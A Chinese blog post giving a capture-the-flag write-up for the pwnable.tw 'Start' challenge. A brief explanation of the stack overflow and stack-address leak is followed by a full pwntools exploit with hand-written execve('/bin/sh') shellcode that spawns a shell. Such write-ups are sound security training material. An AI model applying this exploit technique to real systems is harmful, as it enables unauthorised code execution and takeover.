美文网首页
[pwnable.tw]-Start

[pwnable.tw]-Start

作者: 2mpossible | 来源:发表于2018-11-07 00:57 被阅读0次
    • 程序很简单,直接用汇编int 80实现的读写退出,没开NX保护,然后有个栈溢出漏洞,先泄漏栈地址,然后往栈里写shellcode,再return to shellcode即可
    • 这里我尝试自己写了个简单的shellcode

    exp:

    from pwn import *
    context.log_level = 'debug'
    p = process('./start')
    
    
    p.recvuntil(' CTF:')
    #gdb.attach(p)
    p.send('a'*0x14 + p32(0x08048087))
    
    leak_stack = u32(p.recv(4))
    log.success("leak stack add: 0x%x"%leak_stack)
    
    shellcode = asm(
                '''
                sub esp,0x60
                push 0x0068732f
                push 0x6e69622f
                mov ebx, esp
                mov eax, 0xb
                xor cl, cl
                xor dl, dl
                int 0x80
                '''
                    )
    
    p.send('a'*0x14 + p32(leak_stack+0x14) + shellcode)
    
    p.interactive()
    

    相关文章

      网友评论

          本文标题:[pwnable.tw]-Start

          本文链接:https://www.haomeiwen.com/subject/maxmxqtx.html